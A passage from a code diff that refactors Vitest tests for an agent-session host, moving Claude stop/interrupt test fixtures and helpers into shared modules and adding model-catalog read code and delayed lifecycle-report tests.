'later ordinary action' + ) + ).toMatchObject({ ok: true, value: { key: 'permissionMode', value: 'own' } }) + expect(f.rig.store.requireWritableRecord(SESSION).accountHome).toEqual(f.home) + expect(f.rig.adapter.acquire).toHaveBeenCalledOnce() + expect(f.probe).not.toHaveBeenCalled() + } finally { + await f.dispose() + } + }, 10_000) + + // Real host setup, delayed report settlement and bounded resource drains share this budget. + it('fulfills owed model evidence from a matching delayed lifecycle report outside the delivery lock', async () => { + const f = await createCatalogMutationFixture(stateDirectory, 'codex') + try { + f.rig.host.deps.adapter.open = async () => ({ + reportedOptions: { model: '', effort: 'high' } + }) + f.rig.adapter.dispatch.mockResolvedValue({ + state: 'admitted', + ranOptions: { effort: 'high' } + }) + expect( + await settled( + f.rig.host.send( + CALLER, + restTestSend( + 'model arrives after admission', + f.rig.store.requireWritableRecord(SESSION).lease.runtimeFence + ) + ), + 'model-less send acceptance' + ) + ).toMatchObject({ ok: true }) + const { conversationDelivery, sessions } = f.rig.host.collaboratorsForTests() + await settled(conversationDelivery.loop.wake(SESSION), 'model-less admitted delivery') + const child = sessions.get(SESSION)?.child + if (!child?.generation) { + throw new Error('production startup did not publish a child generation') + } + expect(child.phase).toBe('ready') + expect(child.accountHome).toBeUndefined() + expect(f.rig.store.requireWritableRecord(SESSION).options).toBeUndefined() + const lifecycle = createStructuredAgentSessionLifecycleDelivery({ + handle: f.rig.host.handleAdapterEvent, + logger: f.rig.host.deps.logger, + drainObservedExits: async () => {} + }) + lifecycle.deliver({ + type: 'options-reported', + sessionId: SESSION, + fence: child.fence, + acquisitionGeneration: child.generation, + reportedOptions: { model: CODEX_MODEL, effort: 'low' } + }) + await settled(lifecycle.drain(), 'delayed lifecycle report') + expect((await f.persisted()).records[SESSION]?.options).toEqual({ + model: CODEX_MODEL, + effort: 'high' + }) + await settled(conversationDelivery.loop.wake(SESSION), 'post-report delivery park') + expect(conversationDelivery.loop.isRunning(SESSION)).toBe(false) + expect(f.rig.adapter.dispatch).toHaveBeenCalledOnce() + expect( + await settled( + f.rig.host.history({ sessionId: SESSION, direction: 'tail' }), + 'post-report ordinary history' + ) + ).toMatchObject({ ok: true }) + expect(f.rig.store.requireWritableRecord(SESSION).accountHome).toEqual(f.home) + expect(f.probe).not.toHaveBeenCalled() + } finally { + await f.dispose() + } + }, 10_000) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-reads.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-reads.ts new file mode 100644 index 00000000000..2236e7a59b7 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-catalog-reads.ts @@ -0,0 +1,69 @@ +import type { AgentModelCatalogReadParams } from '../agent-model-catalog/agent-model-catalog-service-contract' +import { withinAgentModelCatalogRead } from '../agent-model-catalog/agent-model-catalog-operation' +import { resolveAgentModelCatalogReadRecords } from '../agent-model-catalog/agent-model-catalog-running-account' +import type { AgentSessionModelCatalogResult } from '../../../shared/agent-session-wire' +import type { + StructuredAgentSessionHostDeps, + StructuredAgentSessionHostSession +} from './structured-agent-session-host-types' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' + +/** The caller already owns the conversation; every projection of this invocation shares this scope. */ +export function structuredAgentSessionCatalogScopeOwned( + deps: StructuredAgentSessionHostDeps, + params: AgentModelCatalogReadParams, + session: StructuredAgentSessionHostSession | undefined +) { + return resolveAgentModelCatalogReadRecords( + { + getConversation: (id) => deps.store.getConversation(id) ?? undefined, + getRecord: (id) => deps.store.getRecord(id) ?? undefined, + drivesRecord: () => true, + liveAccountHome: () => session?.child?.accountHome, + launchAccountHome: async (record) => + (await structuredAgentSessionReceivingAccount(deps, record, session)).home + }, + params + ) +} + +/** Named external reads acquire once, after capture and before nonacquiring preparation. */ +export function createStructuredAgentSessionCatalogReads( + context: () => { + deps: StructuredAgentSessionHostDeps + serialize: (id: string, task: () => Promise) => Promise + scopeOwned: ( + params: AgentModelCatalogReadParams + ) => ReturnType + } +) { + return async (params: AgentModelCatalogReadParams): Promise => { + const { deps, serialize, scopeOwned } = context() + const catalog = deps.modelCatalog + if (!catalog) { + return { origin: 'unknown' } + } + const operation = catalog.captureRead(params) + const id = params.sessionId + const records = + id === undefined + ? undefined + : await withinAgentModelCatalogRead(operation, () => + serialize(id, () => + operation.current() ? scopeOwned({ ...params, operation }) : Promise.resolve(null) + ).catch(() => null) + ) + if ( + !operation.current() || + records === null || + (params.sessionId !== undefined && records === undefined) + ) { + return { origin: 'unknown' } + } + const request = { ...params, records, operation, deadline: operation.deadline } + if (!params.savedOnly) { + void catalog.demand(request) + } + return catalog.read(request) + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts new file mode 100644 index 00000000000..6e849532665 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts @@ -0,0 +1,214 @@ +import { createStoppedClaudeDeadline } from './structured-agent-session-stop-deadline.test-fixture' +import { expect, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' +import { projectStructuredAgentSessionStatusState } from '../../../shared/structured-agent-session-projection' +import { structuredAgentSessionAgentStatus } from '../../../shared/structured-agent-session-agent-status' +import { + claudeFrame as frame, + claudeWasSent as wrote, + type FakeConnection +} from '../../claude/claude-structured-session-test-support' +import { invokeCanUseTool } from '../../claude/claude-can-use-tool-test-support' +import { + HOST_TEST_SESSION as SESSION, + hostTestMessage, + hostTestOperationId +} from './structured-agent-session-host-test-data' + +import { + fixture, + CALLER, + CAPABILITIES, + laneDrained +} from './structured-agent-session-claude-stop-contract-test-fixture' +export function eventually(assertion: () => T | Promise): Promise { + return vi.waitFor(assertion, { timeout: 10_000 }) +} + +export function envelope( + method: 'agentSession.send' | 'agentSession.cancel', + fields: Record, + fence = fixture.store.getRecord(SESSION)!.lease.runtimeFence +) { + return { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method, + sessionId: SESSION, + fields + }) + } +} + +export async function send(text: string, fence?: number): Promise { + const body = hostTestMessage(text) + const sent = await fixture.host.send(CALLER, { + envelope: envelope('agentSession.send', { body }, fence), + body + }) + if (!sent.ok) { + throw new Error('send refused') + } + return sent.value.clientMessageId +} + +export async function dispatch(clientMessageId: string) { + const submission = (await fixture.host.journalSnapshot(SESSION)).submissions.find( + (entry) => entry.clientMessageId === clientMessageId + ) + return { state: submission?.dispatchState, reason: submission?.reason } +} + +export async function openTurn( + connection: FakeConnection, + text = 'Write a long reply.' +): Promise { + const clientMessageId = await send(text) + await eventually(() => + expect(connection.sent.some((message) => JSON.stringify(message).includes(text))).toBe(true) + ) + frame(connection, { + type: 'system', + subtype: 'init', + uuid: `init-${text}`, + model: 'claude-sonnet-5', + capabilities: CAPABILITIES + }) + const written = connection.sent.at(-1)! + frame(connection, { ...written, uuid: written.uuid }) + frame(connection, { + type: 'assistant', + uuid: 'stopped-turn-leaf', + parent_tool_use_id: null, + message: { id: 'msg-1', role: 'assistant', content: [{ type: 'text', text: 'Working on' }] } + }) + await eventually(async () => expect((await dispatch(clientMessageId)).state).toBe('accepted')) + const turnId = activeStructuredAgentSessionTurnId( + (await fixture.host.journalSnapshot(SESSION)).items + ) + expect(turnId).not.toBeNull() + return turnId! +} + +export function stop(turnId?: string) { + const fields = turnId === undefined ? {} : { turnId } + return fixture.host.cancel(CALLER, { + envelope: envelope('agentSession.cancel', fields), + ...fields + }) +} + +/** Drain through Stop’s queued second step. */ + +export function stopEventsAtClose(connection: FakeConnection): () => number | undefined { + let atClose: number | undefined + const close = connection.close + connection.close = async () => { + const journal = fixture.host.collaboratorsForTests().sessions.get(SESSION)?.journal + atClose ??= journal?.stopMarks.latest()?.event.reason === 'user-stop' ? 1 : 0 + return close() + } + return () => atClose +} + +export async function interruptSent(connection: FakeConnection): Promise { + await eventually(() => + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) + ) +} + +export async function turnOutcome(): Promise { + await fixture.host.flushStreamedEvents(SESSION) + const snapshot = await fixture.host.journalSnapshot(SESSION) + return readAgentJournalTurn(snapshot.items.findLast((item) => item.body.kind === 'turn')?.body) + ?.outcome +} + +export async function statusTexts(): Promise { + await fixture.host.flushStreamedEvents(SESSION) + return (await fixture.host.journalSnapshot(SESSION)).items.flatMap((item) => + item.body.kind === 'status' ? [String(item.body.text)] : [] + ) +} + +export async function sendUnechoed(connection: FakeConnection): Promise { + const clientMessageId = await send('Write a long reply.') + await eventually(() => expect(wrote(connection, 'Write a long reply.')).toBe(true)) + return clientMessageId +} + +export function childRecords() { + return fixture.statusSubject + ? fixture.server.getStructuredChildWorkViews(fixture.statusSubject) + : [] +} + +export async function agentStatus() { + await fixture.host.flushStreamedEvents(SESSION) + const { items, submissions } = await fixture.host.journalSnapshot(SESSION) + const { summary } = projectStructuredAgentSessionStatusState( + items, + submissions, + fixture.store.getRecord(SESSION)!.lease.runtimeFence + ) + return summary.status + ? structuredAgentSessionAgentStatus({ + status: summary.status, + turnOutcome: summary.turnOutcome, + childWork: childRecords() + }) + : null +} + +export async function ask( + connection: FakeConnection, + toolName: string, + input: Record, + signal?: AbortSignal +): Promise<{ + answered: ReturnType + card: { itemId: string; expectedRevision: number } +}> { + const answered = invokeCanUseTool(connection, toolName, 'permission-1', 'tool-1', { + input, + ...(signal ? { signal } : {}) + }) + const card = await eventually(async () => { + await fixture.host.flushStreamedEvents(SESSION) + const item = (await fixture.host.journalSnapshot(SESSION)).items.find( + (entry) => entry.body.kind === 'approval' || entry.body.kind === 'question' + ) + expect(item).toBeDefined() + return { itemId: item!.itemId, expectedRevision: item!.revision } + }) + return { answered, card } +} + +export function cancelCard(turnId: string, prompt: { itemId: string; expectedRevision: number }) { + const fields = { turnId, prompt } + return fixture.host.cancel(CALLER, { + envelope: envelope('agentSession.cancel', fields), + ...fields + }) +} + +export async function cardResolution(itemId: string): Promise { + await fixture.host.flushStreamedEvents(SESSION) + const body = (await fixture.host.journalSnapshot(SESSION)).items.find( + (item) => item.itemId === itemId + )?.body + return body?.kind === 'approval' || body?.kind === 'question' ? body.resolution : undefined +} + +export const stopAcrossGrace = createStoppedClaudeDeadline({ + host: () => fixture.host, + adapter: () => fixture.adapter, + claude: () => fixture.claude, + sessionId: SESSION, + stop, + laneDrained +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts new file mode 100644 index 00000000000..6bc9368546a --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts @@ -0,0 +1,235 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, vi } from 'vitest' +import type { AgentStatusStructuredSessionSubject } from '../../../shared/agent-status-subject' +import { AgentHookServer } from '../../agent-hooks/server' +import { runClaudeControl } from '../../claude/claude-agent-sdk-control-requests' +import { ClaudeStructuredSessionAdapter } from '../../claude/claude-structured-session-adapter' +import type { ClaudeStructuredSessionEvent } from '../../claude/structured/claude-structured-session-state' +import { + fakeClaude, + PROVIDER_SESSION_ID +} from '../../claude/claude-structured-session-test-support' +import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' +import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' +import { structuredClaudeLifecycleEvent } from '../../runtime/structured-claude-runtime-adapter' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { StructuredAgentSessionHost } from './structured-agent-session-host' +import { recordingStructuredAgentSessionLogger } from './structured-agent-session-logger-test-support' +import { + HOST_TEST_NOW as NOW, + HOST_TEST_SESSION as SESSION, + hostTestAttachParams, + resetHostTestOperationIds +} from './structured-agent-session-host-test-data' +import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' + +export const CALLER = { callerKey: 'client-1' } +// Claude Code 2.1.280 system/init capabilities. + +export const CAPABILITIES = [ + 'interrupt_receipt_v1', + 'interrupt_cancel_queued_v1', + 'msg_lifecycle_v1' +] + +let root: string + +let host: StructuredAgentSessionHost + +let adapter: ClaudeStructuredSessionAdapter + +let store: AgentSessionRecordStore + +let queued: string[] + +let claude: ReturnType + +let events: ClaudeStructuredSessionEvent[] + +let logs: ReturnType + +let server: AgentHookServer + +let statusSubject: AgentStatusStructuredSessionSubject | undefined + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-claude-stop-ends-session-')) + resetHostTestOperationIds() + queued = [] + events = [] + logs = recordingStructuredAgentSessionLogger() + server = new AgentHookServer() + statusSubject = undefined + claude = fakeClaude({ + replayUuid: null, + routes: { + interrupt: (params) => + params?.cancelQueued + ? { still_queued: [], cancelled: queued.splice(0) } + : { still_queued: [...queued] } + } + }) + const lifecycle: Promise[] = [] + adapter = new ClaudeStructuredSessionAdapter({ + resolveLaunch: async () => ({ + pathToClaudeCodeExecutable: 'claude', + options: {}, + cwd: root, + claudeConfigDir: join(root, 'claude-home'), + providerSessionId: PROVIDER_SESSION_ID, + resumeLeafUuid: null, + resumesTranscript: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0, + cliFlag: async () => 'supported' as const, + continuesChain: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0 + }), + onEvent: (event) => { + events.push(event) + const mapped = structuredClaudeLifecycleEvent(event) + if (mapped) { + lifecycle.push(host.handleAdapterEvent(mapped)) + } + }, + onDispatchSettledLate: (settlement) => void host.settleLateDispatch(settlement), + onChildWorkEvidence: (sessionId, evidence) => + host.publishChildWorkEvidence(sessionId, evidence), + openConnection: claude.openConnection, + readProcessStartTime: async () => 1_700_000_000_000, + now: () => NOW + }) + store = await openTestAgentSessionRecordStore(root) + host = new StructuredAgentSessionHost({ + agents: NO_STRUCTURED_AGENTS, + store, + adapter: Object.assign(adapter, { supportsCreate: () => true }), + journalDatabase: openTestJournalHostDatabase(root), + claimKeyId: 'key-1', + mintSpawnToken: () => 'spawn-a', + logger: logs.logger, + statusSink: { + publish: (summary, subject) => { + statusSubject = subject + server.ingestStructuredStatus(summary, subject) + }, + forget: (subject) => server.dropStructuredStatus(subject), + publishChildWork: (subject, evidence, provider) => + server.ingestStructuredChildWork(subject, evidence, provider), + readChildWork: (subject) => server.getStructuredChildWorkViews(subject) + }, + now: () => NOW + }) + const params = hostTestAttachParams(null, { + provider: 'claude', + agent: 'claude', + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: join(root, 'claude-home') }, + providerHandle: { kind: 'claude', sessionId: PROVIDER_SESSION_ID, leafUuid: null } + }) + expect(await host.attach(CALLER, params)).toMatchObject({ ok: true }) + await vi.waitFor(() => expect(host.readStatusSummary(SESSION)?.hostExecutionPhase).toBe('ready')) + await Promise.all(lifecycle) +}) + +afterEach(async () => { + vi.restoreAllMocks() + vi.useRealTimers() + await adapter.closeAll() + await host.flushAllStreamedEvents() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +export const laneDrained = (): Promise => host['tasks'].serialize(SESSION, async () => {}) + +export const INTERRUPTED_RESULT = { + type: 'result', + subtype: 'error_during_execution', + is_error: true, + terminal_reason: 'aborted_streaming', + uuid: 'interrupted-result' +} + +// Exercise the real control deadline with a request that never answers. + +export const NEVER_ANSWERS = (options?: Record) => + runClaudeControl( + 'interrupt', + () => new Promise(() => {}), + typeof options?.timeoutMs === 'number' ? options.timeoutMs : undefined + ) + +export const BRANCH_QUESTION = { + questions: [ + { + question: 'Which branch?', + header: 'Branch', + multiSelect: false, + options: [{ label: 'main' }, { label: 'dev' }] + } + ] +} +export const fixture = { + get adapter() { + return adapter + }, + set adapter(value: typeof adapter) { + adapter = value + }, + get claude() { + return claude + }, + set claude(value: typeof claude) { + claude = value + }, + get events() { + return events + }, + set events(value: typeof events) { + events = value + }, + get host() { + return host + }, + set host(value: typeof host) { + host = value + }, + get logs() { + return logs + }, + set logs(value: typeof logs) { + logs = value + }, + get queued() { + return queued + }, + set queued(value: typeof queued) { + queued = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + get server() { + return server + }, + set server(value: typeof server) { + server = value + }, + get statusSubject() { + return statusSubject + }, + set statusSubject(value: typeof statusSubject) { + statusSubject = value + }, + get store() { + return store + }, + set store(value: typeof store) { + store = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts index 4f2e4478780..84bcd596134 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts @@ -1,289 +1,38 @@ -// Claude Stop answers the interrupt before serialized child shutdown; next send resumes the resting conversation. - -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' -import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { expect, it } from 'vitest' import { DISPATCH_REJECTED_CANCELLED } from '../../../shared/structured-agent-session-dispatch-rejection' -import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' -import { projectStructuredAgentSessionStatusState } from '../../../shared/structured-agent-session-projection' -import { structuredAgentSessionAgentStatus } from '../../../shared/structured-agent-session-agent-status' -import type { AgentStatusStructuredSessionSubject } from '../../../shared/agent-status-subject' -import { AgentHookServer } from '../../agent-hooks/server' -import { - ClaudeControlRequestError, - runClaudeControl -} from '../../claude/claude-agent-sdk-control-requests' +import { ClaudeControlRequestError } from '../../claude/claude-agent-sdk-control-requests' import { CLAUDE_STOP_GRACE_MS } from '../../claude/claude-request-end-wait' -import { ClaudeStructuredSessionAdapter } from '../../claude/claude-structured-session-adapter' -import type { ClaudeStructuredSessionEvent } from '../../claude/structured/claude-structured-session-state' import { claudeFrame as frame, claudeWasSent as wrote, - fakeClaude, - PROVIDER_SESSION_ID, - type FakeConnection + PROVIDER_SESSION_ID } from '../../claude/claude-structured-session-test-support' -import { invokeCanUseTool } from '../../claude/claude-can-use-tool-test-support' -import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' -import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' -import { structuredClaudeLifecycleEvent } from '../../runtime/structured-claude-runtime-adapter' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + import { - closeTestJournalHostDatabases, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' -import { StructuredAgentSessionHost } from './structured-agent-session-host' -import { createStoppedClaudeDeadline } from './structured-agent-session-stop-deadline.test-fixture' -import { recordingStructuredAgentSessionLogger } from './structured-agent-session-logger-test-support' -import { - HOST_TEST_NOW as NOW, - HOST_TEST_SESSION as SESSION, - hostTestAttachParams, - hostTestMessage, - hostTestOperationId, - resetHostTestOperationIds -} from './structured-agent-session-host-test-data' -import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' - -const CALLER = { callerKey: 'client-1' } -// Claude Code 2.1.280 system/init capabilities. -const CAPABILITIES = ['interrupt_receipt_v1', 'interrupt_cancel_queued_v1', 'msg_lifecycle_v1'] - -let root: string -let host: StructuredAgentSessionHost -let adapter: ClaudeStructuredSessionAdapter -let store: AgentSessionRecordStore -let queued: string[] -let claude: ReturnType -let events: ClaudeStructuredSessionEvent[] -let logs: ReturnType -let server: AgentHookServer -let statusSubject: AgentStatusStructuredSessionSubject | undefined - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-claude-stop-ends-session-')) - resetHostTestOperationIds() - queued = [] - events = [] - logs = recordingStructuredAgentSessionLogger() - server = new AgentHookServer() - statusSubject = undefined - claude = fakeClaude({ - replayUuid: null, - routes: { - interrupt: (params) => - params?.cancelQueued - ? { still_queued: [], cancelled: queued.splice(0) } - : { still_queued: [...queued] } - } - }) - const lifecycle: Promise[] = [] - adapter = new ClaudeStructuredSessionAdapter({ - resolveLaunch: async () => ({ - pathToClaudeCodeExecutable: 'claude', - options: {}, - cwd: root, - claudeConfigDir: join(root, 'claude-home'), - providerSessionId: PROVIDER_SESSION_ID, - resumeLeafUuid: null, - resumesTranscript: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0, - cliFlag: async () => 'supported' as const, - continuesChain: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0 - }), - onEvent: (event) => { - events.push(event) - const mapped = structuredClaudeLifecycleEvent(event) - if (mapped) { - lifecycle.push(host.handleAdapterEvent(mapped)) - } - }, - onDispatchSettledLate: (settlement) => void host.settleLateDispatch(settlement), - onChildWorkEvidence: (sessionId, evidence) => - host.publishChildWorkEvidence(sessionId, evidence), - openConnection: claude.openConnection, - readProcessStartTime: async () => 1_700_000_000_000, - now: () => NOW - }) - store = await openTestAgentSessionRecordStore(root) - host = new StructuredAgentSessionHost({ - agents: NO_STRUCTURED_AGENTS, - store, - adapter: Object.assign(adapter, { supportsCreate: () => true }), - journalDatabase: openTestJournalHostDatabase(root), - claimKeyId: 'key-1', - mintSpawnToken: () => 'spawn-a', - logger: logs.logger, - statusSink: { - publish: (summary, subject) => { - statusSubject = subject - server.ingestStructuredStatus(summary, subject) - }, - forget: (subject) => server.dropStructuredStatus(subject), - publishChildWork: (subject, evidence, provider) => - server.ingestStructuredChildWork(subject, evidence, provider), - readChildWork: (subject) => server.getStructuredChildWorkViews(subject) - }, - now: () => NOW - }) - const params = hostTestAttachParams(null, { - provider: 'claude', - agent: 'claude', - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: join(root, 'claude-home') }, - providerHandle: { kind: 'claude', sessionId: PROVIDER_SESSION_ID, leafUuid: null } - }) - expect(await host.attach(CALLER, params)).toMatchObject({ ok: true }) - await vi.waitFor(() => expect(host.readStatusSummary(SESSION)?.hostExecutionPhase).toBe('ready')) - await Promise.all(lifecycle) -}) - -afterEach(async () => { - vi.restoreAllMocks() - vi.useRealTimers() - await adapter.closeAll() - await host.flushAllStreamedEvents() - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) -}) - -function eventually(assertion: () => T | Promise): Promise { - return vi.waitFor(assertion, { timeout: 10_000 }) -} - -function envelope( - method: 'agentSession.send' | 'agentSession.cancel', - fields: Record, - fence = store.getRecord(SESSION)!.lease.runtimeFence -) { - return { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: fence, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method, - sessionId: SESSION, - fields - }) - } -} - -async function send(text: string, fence?: number): Promise { - const body = hostTestMessage(text) - const sent = await host.send(CALLER, { - envelope: envelope('agentSession.send', { body }, fence), - body - }) - if (!sent.ok) { - throw new Error('send refused') - } - return sent.value.clientMessageId -} - -async function dispatch(clientMessageId: string) { - const submission = (await host.journalSnapshot(SESSION)).submissions.find( - (entry) => entry.clientMessageId === clientMessageId - ) - return { state: submission?.dispatchState, reason: submission?.reason } -} - -async function openTurn(connection: FakeConnection, text = 'Write a long reply.'): Promise { - const clientMessageId = await send(text) - await eventually(() => - expect(connection.sent.some((message) => JSON.stringify(message).includes(text))).toBe(true) - ) - frame(connection, { - type: 'system', - subtype: 'init', - uuid: `init-${text}`, - model: 'claude-sonnet-5', - capabilities: CAPABILITIES - }) - const written = connection.sent.at(-1)! - frame(connection, { ...written, uuid: written.uuid }) - frame(connection, { - type: 'assistant', - uuid: 'stopped-turn-leaf', - parent_tool_use_id: null, - message: { id: 'msg-1', role: 'assistant', content: [{ type: 'text', text: 'Working on' }] } - }) - await eventually(async () => expect((await dispatch(clientMessageId)).state).toBe('accepted')) - const turnId = activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - expect(turnId).not.toBeNull() - return turnId! -} - -function stop(turnId?: string) { - const fields = turnId === undefined ? {} : { turnId } - return host.cancel(CALLER, { envelope: envelope('agentSession.cancel', fields), ...fields }) -} - -/** Drain through Stop’s queued second step. */ -const laneDrained = (): Promise => host['tasks'].serialize(SESSION, async () => {}) - -const stopAcrossGrace = createStoppedClaudeDeadline({ - host: () => host, - adapter: () => adapter, - claude: () => claude, - sessionId: SESSION, - stop, + fixture, + INTERRUPTED_RESULT, + NEVER_ANSWERS, laneDrained -}) - -function stopEventsAtClose(connection: FakeConnection): () => number | undefined { - let atClose: number | undefined - const close = connection.close - connection.close = async () => { - const journal = host.collaboratorsForTests().sessions.get(SESSION)?.journal - const since = journal?.readSince({ epoch: journal.epoch, sequence: 0 }) - atClose ??= since?.ok - ? since.rows.filter( - (row) => row.kind === 'tombstone' && row.stopEvent?.reason === 'user-stop' - ).length - : -1 - return close() - } - return () => atClose -} - -const INTERRUPTED_RESULT = { - type: 'result', - subtype: 'error_during_execution', - is_error: true, - terminal_reason: 'aborted_streaming', - uuid: 'interrupted-result' -} - -// Exercise the real control deadline with a request that never answers. -const NEVER_ANSWERS = (options?: Record) => - runClaudeControl( - 'interrupt', - () => new Promise(() => {}), - typeof options?.timeoutMs === 'number' ? options.timeoutMs : undefined - ) - -async function interruptSent(connection: FakeConnection): Promise { - await eventually(() => - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) - ) -} - -async function turnOutcome(): Promise { - await host.flushStreamedEvents(SESSION) - const snapshot = await host.journalSnapshot(SESSION) - return readAgentJournalTurn(snapshot.items.findLast((item) => item.body.kind === 'turn')?.body) - ?.outcome -} - -async function statusTexts(): Promise { - await host.flushStreamedEvents(SESSION) - return (await host.journalSnapshot(SESSION)).items.flatMap((item) => - item.body.kind === 'status' ? [String(item.body.text)] : [] - ) -} +} from './structured-agent-session-claude-stop-contract-test-fixture' +import { + agentStatus, + childRecords, + dispatch, + eventually, + interruptSent, + openTurn, + send, + sendUnechoed, + statusTexts, + stop, + stopEventsAtClose, + turnOutcome, + stopAcrossGrace +} from './structured-agent-session-claude-stop-contract-test-actions' it('answers on the interrupt, ends the child once the stopped turn ends, and rests at that turn', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -297,47 +46,20 @@ it('answers on the interrupt, ends the child once the stopped turn ends, and res expect(connection.closed).toBe(true) expect(eventsAtClose()).toBe(1) - expect(store.getRecord(SESSION)?.lease.claimStatus).toBe('released') + expect(fixture.store.getRecord(SESSION)?.lease.claimStatus).toBe('released') expect(await turnOutcome()).toBe('cancellation') // Resume must use the stopped turn’s own leaf. - expect(events.findLast((event) => event.type === 'handle')).toMatchObject({ + expect(fixture.events.findLast((event) => event.type === 'handle')).toMatchObject({ type: 'handle', providerSessionId: PROVIDER_SESSION_ID, leafUuid: 'stopped-turn-leaf' }) }) -async function sendUnechoed(connection: FakeConnection): Promise { - const clientMessageId = await send('Write a long reply.') - await eventually(() => expect(wrote(connection, 'Write a long reply.')).toBe(true)) - return clientMessageId -} - -function childRecords() { - return statusSubject ? server.getStructuredChildWorkViews(statusSubject) : [] -} - -async function agentStatus() { - await host.flushStreamedEvents(SESSION) - const { items, submissions } = await host.journalSnapshot(SESSION) - const { summary } = projectStructuredAgentSessionStatusState( - items, - submissions, - store.getRecord(SESSION)!.lease.runtimeFence - ) - return summary.status - ? structuredAgentSessionAgentStatus({ - status: summary.status, - turnOutcome: summary.turnOutcome, - childWork: childRecords() - }) - : null -} - it('reads a Stop pressed before Claude echoed the send as interrupted, not as a finished turn', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! // Match CLI wind-down ordering after an interrupt before echo. - claude.routes.interrupt = () => { + fixture.claude.routes.interrupt = () => { setTimeout(() => { const written = connection.sent.find((message) => message.type === 'user')! frame(connection, { ...written, uuid: written.uuid }) @@ -367,9 +89,9 @@ it('reads a Stop pressed before Claude echoed the send as interrupted, not as a }) it('ends the child once the grace runs out when Claude says nothing after a Stop before the echo', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) - claude.routes.interrupt = () => ({ still_queued: [], cancelled: [] }) + fixture.claude.routes.interrupt = () => ({ still_queued: [], cancelled: [] }) const clientMessageId = await sendUnechoed(connection) await expect(stopAcrossGrace(connection, 'request-end')).resolves.toMatchObject({ @@ -384,11 +106,11 @@ it('ends the child once the grace runs out when Claude says nothing after a Stop }, 15_000) it('withdraws a follow-up Claude queued behind the turn before the child ends, never doubt', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) const followUp = await send('And then this.') await eventually(() => expect(connection.sent.at(-1)?.message).toBeDefined()) - queued.push(String(connection.sent.at(-1)!.uuid)) + fixture.queued.push(String(connection.sent.at(-1)!.uuid)) await eventually(async () => expect((await dispatch(followUp)).state).toBe('pending')) await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) @@ -404,10 +126,10 @@ it('withdraws a follow-up Claude queued behind the turn before the child ends, n }) it('ends the child at once when Claude refuses the interrupt, and says only that the stop was asked', async () => { - claude.routes.interrupt = () => { + fixture.claude.routes.interrupt = () => { throw new ClaudeControlRequestError('interrupt', 'Claude did not answer the interrupt.') } - const connection = claude.connections[0]! + const connection = 